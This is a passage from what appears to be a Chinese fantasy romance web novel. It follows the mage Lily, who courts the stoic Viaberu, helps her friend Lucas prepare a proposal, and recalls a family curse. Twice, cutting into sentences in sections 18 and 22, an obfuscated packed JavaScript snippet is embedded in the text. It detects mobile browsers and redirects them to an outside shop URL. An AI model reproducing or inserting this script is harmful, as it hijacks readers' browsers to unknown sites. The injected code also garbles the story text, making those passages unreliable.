我解释说,卢卡斯在用他和米娅家乡的一种特产梅子酿酒,他们已经因为南方诸国的战乱离开故乡很久了。三个月前,在路过某座小镇时,他意外地发现了来自故乡的梅子,于是特意买了下来,说要按照记忆里的配方酿酒,让米娅和他一起重温小时候的味道。 “难怪,昨天在餐馆的时候我就有点疑惑,怎么你们队里的战士还随身带着那么小的酒桶……”维亚贝鲁恍然道,“不过这听起来很不错嘛,真的可以算上我?” 当然可以,我甚至愿意把我的那份也送给他。 “我的就是你的。”我笑眯眯地说道,“其实,我也可以——” 我也可以属于他! 但我话没说完,因为维亚贝鲁眼疾手快地塞过来一片面包,堵住了我的嘴。 “唔?”我茫然。 “你只是不喜欢喝酒吧。”他了然地说道,“只喜欢牛奶和甜食的小孩子。” 哎呀,被发现了。 我咽下嘴巴里的面包,理直气壮地说道:“不对,我还喜欢你呢。” “……听起来好随便。”维亚贝鲁抽了抽嘴角,“没人会把食物和人放在同一个分类吧。” “我觉得可以呀。”我指了指面包,“粮食。” 然后指了指他:“精神食粮。” 都是不可或缺的嘛。 15. 积雪越来越厚了。 由于寒潮过于突然,城里紧急发布了一些关于城市建设的委托,比如清理街道,给水源解冻,保护农作物等等。卢卡斯和维亚贝鲁在这些事情上很积极,我感觉他们俩都是喜欢帮助别人的那类人。 维亚贝鲁说他只是想找点事情做,以及带领队员们搞点收入。 “这个人什么都好,就是不够坦率。”我感叹道。 “其实我感觉他也是在顺便躲你。”卢卡斯说道,“毕竟你每天讲的话都太过于肉麻。” 然后卢卡斯因为过于坦率而被米娅训了一顿。 嗯……由此可见,不坦率也有不坦率的好处。 “那又怎样,只是躲我又不是讨厌我。”我理直气壮道,“你看我讲那些话的时候,维亚贝鲁也没有捂住我的嘴巴啊。” 卢卡斯:? 不过闲着也是闲着,我也来搞点收入吧。 于是在我跑了几家人流量很大的店铺,免费帮老板们进行了占卜后,我很快就成了当地的城市传说——前来占卜的顾客在我住的小旅馆里排起了队。 客人,干等着排队是不是有点无聊?那就来点小吃、饮料吧,听说消费达到xx标准可成为vip顾客抢先占卜哦! 就这样,小旅馆的老板和我愉快地实现了双赢。 我送走最后一位客人的时候,维亚贝鲁刚回来。旅馆已经打烊,楼下很是清冷,只有我正坐在壁炉边清点今天的收入情况,以及整理我的小箱子。 “这位客人,这边可以免费帮你算恋爱运哦。”我对维亚贝鲁眨眼睛,“其实呢,你的爱情近在……” 维亚贝鲁揭穿我:“你连纸牌都没翻开。” “这还用看纸牌?看我就足够了。”我说。 维亚贝鲁:? 他仔细地打量了我一下:“你今天似乎没有什么特别的地方。” 诶,真的看我了。 我不由得露出一个笑容:“当然有呀,我今天……” “等等!”维亚贝鲁警觉地盯着我,“不许说‘今天特别’……嗯……什么的。” 啊。 看来他越来越了解我了,居然有预判到我想说“今天特别喜欢你”。 不过…… “你平时都是用‘嗯’来代指喜欢吗?”我笑眯眯地说道。 “……你好啰嗦。”维亚贝鲁嘟囔了一声,坐到了我对面的座位上烤火,大概是为了掩饰他的不好意思,他拿起我放在桌子上的一块金色石头把玩了起来,“卢卡斯和米娅呢?” 我说卢卡斯让人递口信说他今晚住在委托人家里,神神秘秘的,米娅为此对着空气抱怨了几句,已经上楼睡觉了。 “这样啊。”维亚贝鲁举起那块石头对着火光打量起来,在火光的照射下,石头和他都泛着温暖的光泽,“我想,我可能知道卢卡斯在忙什么。” “诶?” “哦,看来你不知道啊……”他露出一个有些揶揄的笑容,“我还以为你的占卜能够轻而易举地算到一切。” 4. The End(四) 16. 哼,原来是等在这种地方质疑我的占卜啊。 “占卜只是能够算到一些可能会发生的事,又不是能直接看到确定的未来。”我托着脸看他,“如果过于依赖它,生活岂不是会很无聊?”占卜运势吉凶也就算了,人与人之间的牵绊还是应该依靠自己努力。 “知道了。”他点头,语气里有几分笑意,“就是你不能保证每次都算得很准的意思。” “……你好啰嗦。”我瞪他一眼。 维亚贝鲁笑了一声,倒也没继续装神秘,只说如果我想知道卢卡斯在忙什么,明天他可以带我去看看。 这还差不多。 “我刚才听到你跟客人说这是‘好运石’。”维亚贝鲁晃了晃刚才拿起来的金色石头,“但它看起来好像没什么特别的。” 怎么,以为我之前在骗人吗? “那送给你吧。”我说。 “你是在说我运气不好?”维亚贝鲁的神情有些微妙,“我可不信这种东西。” 我注视着他的眼睛,忽然向前倾身,拉近了我和他的距离:“送给维亚贝鲁之后,它就是特别的了。” 维亚贝鲁微微睁大了眼睛:“……什么?” “因为和维亚贝鲁有关的一切都是特别的。”我认真地说道,“所以我也是。” 在注视着他的时候,我也是特别的。 “……” 我原以为维亚贝鲁会像之前那样很快就避开我的视线,但他似乎是怔住了,一时间忘记闪躲,就这样静静地和我对视了片刻。于是不知为何,想要移开目光的人忽然变成了我。 维亚贝鲁长得真的很符合我的审美,我很喜欢他平时带着些许锐气的眼神,而此刻的他瞧着有些茫然,很是可爱。不得不说,看到自己很喜欢的一张脸近在咫尺,连呼吸都交汇到一起,很难不让人感到脸颊发烫。 也许对视其实是一种无言的魔法,足以让平地拔高成山岭,连空气都变得稀薄。 壁炉里的柴火忽然因为燃烧而发出了“噼啪”的声响。 我眨了眨眼睛,而维亚贝鲁则是倒吸了一口气,好像猛然回过神来一样——我看到他的脸和耳朵都在飞快地变红。 但我只看到了一瞬,因为下一秒我的视线就被遮住了。 维亚贝鲁伸手捂住我的眼睛,把我往后推了推。 在我试图用睫毛攻击维亚贝鲁的掌心时,我听到他用有些挫败的语气嘟囔了一句话。 “见鬼了,你也会目光束缚魔法吗……” 17. “哇,真是新奇。”第二天在楼下的餐桌前遇到我的时候,米娅很是惊讶,“你今天居然没有等维亚贝鲁一起下楼吗?” 我说我稍稍反思了一下,做人不能太强人所难。既然维亚贝鲁觉得那样不太自在,那我肯定还是选择尊重他啦。 “是吗?”米娅意有所指地说道,“我怎么感觉是你有点不自在呢?” “……” 可恶,那我能怎么办嘛! 不知道是为什么,之前我讲那些话的时候明明可以那么从容,现在却直觉自己没办法如此游刃有余了。因为只要一想到要和维亚贝鲁见面,会和他对视,我的心脏就好像长出了小鸟的翅膀,扑棱棱的,不断扇动着能够将我席卷的风。 ……难道我生病了?心脏病? 听完我的讲述,米娅噗嗤一声笑了出来。 她说心跳加速的原因有很多种,不只有生病这一种情况。顺带一提,心跳加速的时候眨眼的频率可能也会有所提高,比如因为紧张或者说谎。 “这么说吧,如果是别的男人盯着你看,你会怎么想?”米娅说道。 我不假思索道:“色狼。”需要被我制裁的那种。 “是这样,因为很多男人看女孩子的时候,眼神都直勾勾的,好像他们看的不是异性,而是属于自己的物品一样,所以会让人感到不适。”米娅说道,“但哪怕是你冲过去对维亚贝鲁表白的时候,他看你的眼神也都只是很正常的打量。” ……啊。 我恍然大悟:“维亚贝鲁是个好人。” 但这和我的心脏有什么关系呢? “他的人品确实可以,但重点不是这个……”米娅这么说着,忽然朝着我身后挥了挥手,“早上好,维亚贝鲁。” 诶?! 我连忙回头。 “米娅,早。”维亚贝鲁同她打了个招呼,目光在落到我身上的时候顿了顿,好像有些欲言又止,“……嗯,莉莉,你也早。” “能麻烦维亚贝鲁替我陪陪她吗?”米娅抢在我之前开口,“这孩子一大早就说她的心口有些不舒服,但我还有别的委托要做……” 维亚贝鲁神色一凛,看向米娅的视线立刻移向我,目光很是关切:“你怎么了?需要我带你去看医生吗?” ……我不知道啊。 不过结合米娅说的话,我大概有点明白了问题所在。 于是我说:“都是维亚贝鲁的错!” 维亚贝鲁:? 既然我一跟维亚贝鲁对视就心跳加速,那么问题当然在他——这就跟过敏一样,我对他的视线过敏,所以他应该负责帮我慢慢脱敏。 “为了让我心里的小鸟不再飞来飞去……”我将手按在心口处,抬头看他,“请更多更多地看着我吧。” “维亚贝鲁。” “……” 维亚贝鲁没有说话,但我感觉他的心脏可能也有点不对劲。不然他为什么会在既没有说谎,又不需要感到紧张的时刻,看着我眨了好几次眼呢? 18. 今早风雪稍停,我和维亚贝鲁穿上蓬松的冬装,一起踩着雪出门去找卢卡斯。 虽然每天都有人清理路面,但很快又会落下新雪,因此在时间比较早的时候,地面上就会有很多还未被人踩过的积雪,松软的触感很奇妙。 我怕滑倒,选择慢吞吞地往前走,维亚贝鲁放慢脚步等我,顺便问我昨晚那个“好运石”到底是什么情况,因为他并不相信我给客人的说词。 好吧,我承认“很厉害的辟邪道具”什么的听起来是有点奇怪,但我可没有骗人,即使我很擅长这么做。 我只是使用了一点谈话技巧,仅此而已。 北方诸国形势混乱,魔物层出不穷,而作为行商,他经常需要出门,这很容易遇到危险吧?就算对方此次没有遇到魔物,说不定下次也会遇到。 出门是否会遇到危险,属于我无法干涉的范围。 但能不能活下来,就要看我的了。 “哦?”维亚贝鲁表现出了一些好奇。 南方诸国山岳民族代代相传的民间魔法里有一种“高速移动魔法”,能够让施法者连带着他所携带的事物一起移动。米娅为我演示过这种魔法,不过她并非魔法使,只是曾经的修女,所以不太擅长此道。但对我来说,这样的演示就已经足够了。 「赋予魔法」——我可以把我领悟的魔法临时赋予在和我有感应的特殊物品上,从而起到一次性施法的效果。 如果那位商人遇到魔物,我出售给他的“好运石”足以让他在逃跑的瞬间移动到另一个地方。不过这种魔法的本质只是参考“高速移动魔法”增加了移动的速度,并非直接的“空间传送魔法”,而且能够移动的距离有限,也不能携带他人。 但只要他遇到的魔物不在速度上具备优势…… “那就已经足够在关键时刻保他一命了。”维亚贝鲁接过话来,露出恍然的表情,“难怪你没有直说用途,而是说这是辟邪道具。” 他说所谓的辟邪道具不过就只是个心理安慰,没有人会因为完全相信这个而掉以轻心,但这样很好,出门在外应该保持谨慎。可如果我告诉对方这是一枚保命符,也许对方就会因为觉得有退路而放松警惕。 ……我才不是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635529|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。 只是因为能够和我产生感应的矿石实在太少了,就连我也没有几件,如果对方把具体的作用宣扬出去,一定会给我带来麻烦,所以我才这么说。这样等到这位商人在寒潮结束后出行,然后发现它的作用时,我早已离开了提尤亚。 人类的贪婪是比魔物更致命的存在,即使他们给的钱足够多。 维亚贝鲁笑了一声。 我问他笑什么,他说他笑我居然还有口是心非的时刻。 “莉莉,别在我面前做多余的掩饰。”维亚贝鲁拿出昨天我给他的金色石头,他看了看石头,然后又将目光落在了我这里,“你明明就是不想让那个人死……说吧,你通过占卜看到了什么?” 19. 我停下了脚步。 被轻飘飘地看穿了……好吧,维亚贝鲁似乎比我想象中更了解我。 “我看到一个小女孩在痛哭,看起来非常可怜。”我回答他。 “是他的女儿?”维亚贝鲁问道。 我点头说对,那孩子上个月刚满七岁,我专门问过。 提及女儿,商人的眼神和语气都变得很温柔,他说他妻子早逝,如今他独自抚养着女儿,在出门走商的时候,他会付钱请邻居家的婆婆帮忙照顾女儿的起居。 她让我想起了小时候的我。 无论是维亚贝鲁,还是米娅或者卢卡斯,他们都是看起来就是能够做很厉害的事的那类人,这样的人往往很早就确定了自己的人生目标,因为他们能够看到自己的未来。 而我最多只能看到眼前的方寸之地。 比如我对赚钱很有兴趣,但那是因为我需要花钱,我需要生活,也需要买魔导书。再比如我买魔导书是为了学习魔法,但我学魔法只是因为发现自己有这方面的天赋,做魔法使也只是因为需要通行证。我不知道我之后能用魔法去做什么,更没有什么理想和抱负。 或许是因为我拥有的太少了吧,所以我总是茫然的。直到遇到米娅和卢卡斯,我的人生才多出了新的可能。 在比那个小女孩的年龄大不了多少的时候,我已经被迫开始独立生活了。双亲留下的遗产实在不多,于是我学会了如何使用花言巧语,如果这也是一种天赋,那么它是和我的魔法天赋一起觉醒的。 我讲话总是甜甜蜜蜜的,能够说出客人们最想听的话,店长们最喜欢雇我做店员。我很擅长和人打交道,所以总是知道各式各样的消息,并因此能够从富人那里获得小费,比如夫人们一旦怀疑自己的丈夫出轨了,来问我准没错。 就这样,我攒下了一些钱,然后买了许多魔导书自学,从魔法学徒逐步升到了三级魔法使。 “……所以,如果你觉得我太轻浮了,总是不认真讲话,我也不知道该怎么办。”我回头看向自己在雪地上留下的一串脚印,“因为对我来说,我讲的话都是‘真心话’,都是我想要讲的,没有一句多余的。” 我这个人很功利,为了让自己得到想要的,那些话早就等在我的嘴边,因此我才能张口就来。而时间久了,真话和说谎的界限就会被彻底模糊掉,连我也难以分辨。 或许这样是不对的,但我也不知道该怎么办,因为那都是我留下的脚印,是我一步一步长大的痕迹。 人能抹掉自己成长的足迹吗?至少我不能。 “抱歉,让你听了一些多余的事情。”我偏过头来看维亚贝鲁,发现他也在看我,“快带我去找卢卡斯吧。” “……莉莉。”维亚贝鲁叫住了我,我感觉他的眼神里有一些我不太明白的情绪,“你先在这里等我一下。” 我眨了眨眼睛,不解地看着他走到了我的前方,然后大步向前走去,直至走出了一段距离,这才停住了脚步。 “维亚贝鲁?” “莉莉——现在你看到了什么?”他的声音和风一起吹过来。 诶?我看到了他…… 还有他的脚印。 5. The End(五) 20. ……啊。 我猛然回头,再次看向自己之前留下的脚印——身后不只是我的足迹,因为维亚贝鲁走在我身边,我们的足迹是并排的。 雪地上留下的是两个人一起走过的痕迹。 而眼前的雪地也已经被人替我踩好了。 原来如此。 原来我不太明白的,维亚贝鲁所表现出的情绪…… 是温柔啊。 我所拥有的确实很少,在来到这座城市之前,我的身边只有米娅和卢卡斯。但是现在,无论我是踩着他的脚印走过去,还是从他的足迹旁边走过去,我眼前的“未来”都已经多出了他的陪伴——即使只是暂时的。 维亚贝鲁没有评判我,也没有同情我。 他只是在注视我。 扑通、扑通,是我的心跳声。 心跳比花言巧语更诚实。 “维亚贝鲁!”我大声地喊着他的名字,朝着他跑了过去,然后在他“小心”的提醒中,差点因为脚下一滑而摔倒——好在他及时接住了我。我们柔软的冬装撞到一起,像刚出炉的蓬松的两块蜂蜜面包,很好吃的那种。 “喂,你没事吧?”他说,“你是小孩子吗,居然在雪地里奔跑……” “我没事!谢谢你!”我抬头看他,忍不住露出笑容,“维亚贝鲁,有没有人说过你真的是一个很温柔的人?” “……你是笨蛋吗?”维亚贝鲁似乎觉得我的话有些好笑,“这种词拿来形容我可不合适。” 我不管。 我拉着他的手臂,高高兴兴地说道:“感觉更喜欢维亚贝鲁了!” “哦,是吗?”他看起来不置可否,“那甜食呢?” 都喜欢! “更喜欢维亚贝鲁,因为维亚贝鲁会在我要滑倒的时候接住我。”我笑了起来,“而且还会帮我踩雪地。” “要求也太低了吧,小莉莉。” 21. 维亚贝鲁带着我来到了一家首饰店的附近,我听说过这家店,店主是提尤亚城中很有名的老工匠,传承了好多代。 “你的消息还真是灵通,连这种事情都知道。”维亚贝鲁有些惊讶,“是想买什么东西吗?” 这倒不是,我对首饰的兴趣很一般,我只是习惯了收集杂七杂八的消息,以备不时之需。 “这样啊……哦,快看,是卢卡斯。”维亚贝鲁指了指刚打开店门走出来的青年,他话还没说完,我就连忙拉着他躲到了转角处。 “为什么要躲?显得我们很心虚似的。”他疑惑道。 我说既然卢卡斯找了借口,那他肯定不想让我们知道他在忙什么,所以要打听消息肯定得偷偷做才对啊。维亚贝鲁说那只是瞒着我和米娅,又不是他——意思是这事和他无关,他完全可以直接去问。 “但你看起来稍微有点缺乏亲和力。”我委婉地说道,“打听消息的工作还是交给我吧。”要是他把别人吓到就不好了。 维亚贝鲁:…… “那我怎么就没吓到你呢?”他说。 诶嘿,因为我眼光好嘛。 在确定卢卡斯已经走远之后,我和维亚贝鲁一起推门而入:“打扰了,请问——” 我话还没说完,店主老奶奶就带着和蔼的笑容对我说道:“两位也是来定做戒指的吗?” ……诶。 诶?! 我和维亚贝鲁互相看了看。 好消息,看来不用打听,我就已经知道卢卡斯到底在背着我们做什么了——他肯定是想对米娅求婚。 另一个好消息:我和维亚贝鲁在别人眼里很像是一对! 我这边还在高兴呢,那边维亚贝鲁已经开口说道:“婆婆,戒指就算了,她年纪还小……有适合她戴的吊坠吗?” 嗯?他要给我送礼物? 我拉了拉维亚贝鲁的袖子,表示我有点疑惑。 维亚贝鲁没理我,而是继续和店主说话,我发现他这人也很擅长和别人打交道,因为他说我们其实是刚才出去的那个小伙子的朋友,就是对方推荐我们过来的,问能不能看一下他选的样式做参考。 “可是他定做的是戒指,小伙子你要选的不是吊坠吗?”店主问道。 “嗯对,我知道。”维亚贝鲁面不改色,“……可以为之后做参考嘛。” 演得还挺像模像样。我忍不住笑了一声,用力地拉了拉他的袖子。 “好好好。”维亚贝鲁这么说着,在店主去找样式书的时候,他微微俯身,在我耳边低声说道,“卢卡斯和我说过,过几天是你的生日……我本来也不能白收你送的‘好运石’。” 原来是生日礼物啊。 “对了,我刚才忘记问你们了。”老奶奶忽然回过头,望着我们笑道,“这个吊坠是定情信物吗?如果属于这种类型,我就再拿另一本样式书给你们看……” 定、定情信物! “对,它就是。”我连忙说道。 没错,谁说生日礼物不能是定情信物呢? “……不要太得寸进尺。”维亚贝鲁警告地看了我一眼。 然后他选了半个小时的图案。 22. 因为我的心情很好,在回旅馆的路上,走路都忍不住跳来跳去的,导致维亚贝鲁一路说了好几句“小心”。最后他说累了,吐槽说我太容易知足。 “但我就是很开心嘛。”我回头看他,“谢谢你,维亚贝鲁。” 等收到之后我会一直戴着它的,无论身处何地,就当做是维亚贝鲁在陪我。 其实我有点想问他为什么选那个图案,但不知道怎么回事,维亚贝鲁不仅没有接我的话,反而脸红了——当我指出这点的时候,他“哈”了一声,坚称是被冷风吹的。 “卢卡斯的事情你打算怎么办?” 岔开话题了呢。 我说我对卢卡斯的举动一点也不意外,因为我认识他们的时候,他们就在一起了。算算时间,到今天为止,米娅和卢卡斯已经足□□往了五年。 在很小的时候,米娅和卢卡斯就成了邻居。后来米娅的父母过世,她被母亲在教会的朋友所收养,变成了修女。修女是不能结婚的,这俩人的故事本应该到这里结束,然而在他们长大后,南部诸国发生了战乱,教会也被波及其中……于是卢卡斯带着米娅逃离了家乡,随后认识了我。 “这样啊,战乱……”维亚贝鲁低声道,“其实我多少有猜到一些。” 过于敏锐了吧?我还以为单从外表看不出来他俩经历过什么呢,毕竟米娅性格活泼,卢卡斯更是个开朗的笨蛋。 “那你有猜到我的经历吗?”我不由得问他。 得到了“几乎没有”的回答。 我得意起来:“因为米娅和卢卡斯把我照顾得很好。” “我不觉得只有他们俩的功劳。”维亚贝鲁看向我,“你也很好。” ……有吗? 哦对! “不用太羡慕我。”我立刻说道。 维亚贝鲁:? “因为维亚贝鲁也很好。”我笑眯眯地看向他。 米娅说,能够坦然地接纳爱,然后去回馈爱,是一种很优秀的能力,因为有些人不懂爱,也不曾被爱。虽然我拥有的爱不多,但我会很慷慨地把它分出去的。 维亚贝鲁有我喜欢呢。 “……又在说笨蛋发言了。”维亚贝鲁说道。 那么,他为什么会为了笨蛋而露出笑颜呢? 雪花再次飘起来的时候,我们已经回到了旅馆,刚好卢卡斯在这里,而米娅不在,我决定问问他到底有什么计划。 “呜哇!抱歉,我不是故意隐瞒的。”卢卡斯挠了挠头,“其实我正想找你帮忙呢……” 原来早在我们抵达这里的当天,卢卡斯就在修武器路上经过了这家首饰店。他对我说的暴风雪和寒潮深信不疑,然后一算,在提尤亚停留的这段时间里,他准备了很久的梅子酒差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635530|156306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以酿好。 家乡的梅子,家乡看不到的大雪——多么好的机会! 于是这人一拍脑袋,当即推门而入。至于他昨晚为什么没回来,是因为他主动要帮店主老奶奶做一些杂活,以此来提前拿到戒指。 我不得不说,整个过程都听起来太冲动了,虽然很符合他的风格。 “确实很冲动。”维亚贝鲁附议道。 “怎么连维亚贝鲁也这么说……”卢卡斯垂头丧气,“我还以为我的出发点很浪漫呢。” 嗯……是否浪漫也不是我们说了算,要问米娅才对。依照我对米娅的了解,我觉得她会非常感动地吐槽卢卡斯。 所以呢,这人到底想找我帮什么忙? 23. “之前我们打倒幻影鬼的那次,诺尔姆商会为了感谢我们,曾经送了一块绿色的水晶做谢礼,是和米娅的眼睛一样的颜色,你还记得吗?”卢卡斯说道。 我当然记得。那是块圆形的小水晶,虽然我那时还没学会“赋予魔法”,但我冥冥之中有感觉到,它对我来说有着很强的吸引力……啊,莫非卢卡斯是想让我在这块水晶上面附上魔法? “对对对,我想把它嵌在戒指上。”卢卡斯连忙点头,“这样即使我们因为某些事情而暂时分头行动,米娅的安全也能够得到保障。” “不错,小伙子很细心嘛!”我竖起大拇指,表示支持他和米娅在一起。 “……这俩人早就在一起了。”维亚贝鲁提醒我。 哎呀,这不是当年没赶上吗,正好补一个支持——至于求婚什么的,卢卡斯放心就好,我们大家都会帮他的。 “我可没说我要帮忙。”维亚贝鲁说道。 “那你现在说吧。”我说。 卢卡斯很是感动:“谢谢你,莉莉,你真是我的好朋友!也谢谢你,维亚贝鲁!祝你们俩早点走向五周年!” 维亚贝鲁:? 我:? 作为感谢,卢卡斯说他可以把他酿酒的配方找给我。在他跑去楼上的时候,我看向旁边的维亚贝鲁:“听到了吗,五年哦?” “听到了。”维亚贝鲁无奈道,“我猜卢卡斯说这话的时候,脑子里想的只有他和米娅的十周年……” 诶,这人对我的朋友也很了解嘛! 不过,五年后啊……五年后的我们会在什么地方呢? 我想,那时候的米娅说不定已经完成了她环游大陆的梦想,然后出版了一本的吟游诗集,卢卡斯肯定会一直陪着她。对了,说不定他们会在某地定居下来,然后一起养育一个可爱的小宝宝,那孩子会有着卢卡斯的金发和米娅的绿眼睛…… 至于维亚贝鲁,他应该还是在北部魔法队,为了抗击魔族残党而贡献自己的力量吧。 “那你呢?”他问。 我摇了摇头:“我不知道。” 还是那句话,我没有目标,更不知道自己人生的终点在何方——既然卢卡斯决定向米娅求婚,那我肯定不能一直赖在朋友们的身边啦,他们也是要有二人世界的。 “……” 察觉到维亚贝鲁有些欲言又止,我让他不用担心,毕竟在遇到米娅和卢卡斯之前,我也是自己一个人长大的。 “对了,你为什么最后选了那个图案呀?”我靠在接待桌上,看向维亚贝鲁,顺势问出了之前就想问的问题。 因为我以为他会选百合花,毕竟那是我的名字,也是我法杖的形状。 “哈,那也太普通了。”他说。 我能感觉到,他在看我的眼睛。 “……你有着很少见的金色的眼睛。”维亚贝鲁伸出手指,轻轻地拨开一缕滑到我眼前的发丝,“那天在餐馆,你朝着我走过来的时候,我就在想……这个小姑娘的眼睛真是有够亮的。” 我怔怔地看着他,想起他对店主说了一半又说“没什么”的话。 ——“就选这个吧,像是……” “像是金色的太阳。”他说。 6. The End(六) 24. 米娅说,她的家乡总是风和日丽,所以人们很喜欢放风筝。他们那里有个习俗,在风筝上绑上写着祝福的布条,最后剪断风筝线——风筝不知道会落在何方,而下一个捡到它的人,就会收获上一个人的祝福。 想起这件事的我建议卢卡斯去买只风筝。卢卡斯一拍脑袋,说我的提醒太及时了,他怎么就把这事给忘了?明明小时候他还和米娅一起剪过风筝线呢。 旋即他露出了为难的表情:“可我一早答应了要和维亚贝鲁一起去城外,因为他的队员们都有别的委托要做……” 原来魔法协会在今早突然发布了紧急委托,说城外出现了伤人的熊型魔物。 “小事一桩,我替你去。”我说。 对于临时搭档换人的事情,维亚贝鲁没什么异议。虽然我们俩没配合过,但他会使用目光束缚魔法,这让配合他行动变得非常简单——我只用在他将魔物束缚起来的时候用普通攻击魔法进行攻击就可以了。 “你的魔力探知水平和防御魔法怎么样?”在前往城外的路上,维亚贝鲁问我。 还可以吧,除了那种很擅长隐藏魔力的,我基本都能探知到,也能够在之后立刻做出相应的防御。不过我没有独自遇到过那种从很多个方向同时进攻的情况,因为平时都有伙伴们配合我。 “了解,我也会配合你的。”他说,“那攻击水平呢?” “我很擅长进攻。”我骄傲地回答道,“我的命中率和魔法瞬间的杀伤力都很优秀。” 只要我能反应过来,在近距离的情况下,我的魔力的密度可以提升到极高的水准,并且保持相应的速度,不过我毕竟是自学成才,基本功难免有点不扎实,所以受限于进攻距离——如果距离被拉得很远,我的魔力就会散开,很容易被防下。 我比划了一下:“会散成这样,像小型烟花。”所以平时我和卢卡斯、米娅一起作战时,他们绝对不能消失在我的视线里,不然我的配合就会被大大削弱。 “嗯……卢卡斯是相当优秀的前卫,你是很有天赋的魔法使,至于米娅,虽然我还没见过她的表现,但我能看出来,其实她才是这支队伍的领导者。”维亚贝鲁若有所思道,“真是支优秀的冒险者小队。” “怎么,想挖卢卡斯去你那里?”我笑了起来,“那可没办法,这小子只会跟随米娅。” 不久之后,我们顺利地解决了城外的熊型魔物。 然后意外就发生了。 魔法协会只说这里有袭击人类的熊型魔物,没说这里可能还有路过的鸟型魔物。鸟型魔物很会隐藏魔力,不过我和维亚贝鲁的魔力探知水平也都不错,还是发现了它的存在——奈何这家伙的速度太快,在我意识到它在附近的时候,它锋利的爪子已经和大雪一起朝着我奔袭而来。 ……来不及躲了! 但是……没事的,这种魔物喜欢把人从高空中丢下来摔死,就算我被抓住了,我还会飞行魔法,不是没办法脱身。 “莉莉!!” 一道攻击魔法突然袭来,擦过我的身侧,朝着那只鸟冲了过去。因为这道突如其来的攻击,鸟型魔物尖叫着侧了侧身体,原本应该抓住我肩膀的爪子即将擦过我的脸颊——我被人及时扑倒在地,避免了被划伤的痛楚。 我来不及把嘴巴里的雪吐掉,就已经举起法杖,朝着再次俯冲过来的鸟型魔物施法,成功地将它击落在地。 见魔物已经逐渐消散,我这才咳嗽了几声,回头想对维亚贝鲁道谢。 “维亚贝鲁,谢了……” 然后我睁大了眼睛。 25. 锋利的鸟爪划破了他的衣服,鲜血从肩部渗出…… 噩梦般的场景从记忆深处翻涌而出,我的眼前浮现出在雪地上流淌着的红色,以及让整个天空都被染红的大火。 不……不要死掉,不要丢下我一个人。 父亲绝望的声音混在房屋被燃烧的声响中,年少的我听得不是很真切,只听到他说诅咒——他说我们整个家族都被诅咒了。 “只是擦伤,包扎一下就好了,不用大惊小怪,你也见过同伴受伤吧?”我听到了维亚贝鲁回答,他似乎不是很在意这样的小伤,语气很轻松。 又或者说,他不想让我过于在意。 忽然,他的声音变得紧张起来,这还是我第一次听到他有些慌乱的声音。与此同时,我的肩膀被人按住,有人正在摇晃我—— “你怎么了?莉莉?莉莉?!” “……” 讨厌的红色消失了,眼前是一张写满担心的面容。 我回过神来,茫然道:“维亚贝鲁?” “我在。”维亚贝鲁立刻说道。 他让我慢慢地做深呼吸,说我的脸色非常苍白,整个人都在颤抖,状态很不对劲……他在边境见过我这样的情况,问我是不是对什么应激了,还问我能不能自己走路,如果不能,他可以背我回去。 我缓慢地眨了眨眼,繁杂的思绪将我淹没。 “你刚才为什么不用目光束缚魔法?”我挑了一个最想问的问题问他,“或者让我被捉到天空中也可以,我又不是没办法脱身……”这两种选择都不会让他受伤。 维亚贝鲁说我当时挡住了魔物的一部分,他没办法看到它的全身,所以不能发动目光束缚魔法。至于被抓到空中什么的,他认为风险太大了,天气太冷,我很有可能会因为冻僵而出现失误——我是代替卢卡斯来的,他有责任替卢卡斯和米娅照顾好我。 ……那么,他本来都已经让魔物的动作有所偏离了,又为什么冲过来保护我呢?既然他觉得他受伤是小事情,那我被擦伤一下也没关系吧?!这本来也是我学艺不精应该承担的……难道这也是替我的同伴们照顾我吗? “你冷静点。”见我已经能够正常说话,维亚贝鲁坐在了我旁边,熟练地给自己处理着伤处,“坦白说我当时没想那么多,我只是不能眼睁睁地看着……所以这是我自愿做的,你不用感到自责。” “再说了,那家伙的爪子那么尖锐,被挠一下会很痛吧。” 我怔了怔。 这话说得可真帅气,像个英雄一样。 雪花落在他的头发上,也落在我这里,纷纷扬扬的,好似永远不会停息。我想我有些冷,因此想要不由自主地靠近他。 ……天呐,我到底在做什么,我甚至没有帮他包扎。 “别担心,这点小伤回去后敷一下药就能痊愈了……”维亚贝鲁处理好伤处,偏过头来看我,说到一半的话忽然顿住了。 我眨了眨眼睛,意识到自己的脸颊上有什么在轻轻地滑过。 维亚贝鲁用指腹替我擦了擦眼泪。 ……我知道我的表现很失态,比起我以前经历过的事情,同伴受点小伤确实不算是什么大事。那时候的我都会忍住不哭,为什么现在会落泪呢? 我将额头贴上他的额头,感受着同为人类的温度。 “维亚贝鲁。”我轻声道,“……你一定要好好活着。” 就当是为了我。 26. 风雪愈来愈大,我和维亚贝鲁互相搀扶着前进,好不容易才回到了城中。在回去的路上,我和他讲述了一下我之前为什么会失态。 大约一百年前,某位无名的大魔族路过了我的曾祖父所居住的小镇,偶遇一对年轻人在举办婚礼。她觉得人类的情感甚是有趣,直接杀死未免有些可惜,于是就只杀了在场的宾客们。 新婚夫妇中的女人是一名魔法使,使用着百合形状的法杖,她进行了反抗,但实在不是大魔族的对手。 大魔族宣布,她留下了诅咒:“这道诅咒魔法会和你们的血液一样,一代一代地传承下去……嗯嗯,杀死人类的到底是什么呢?” 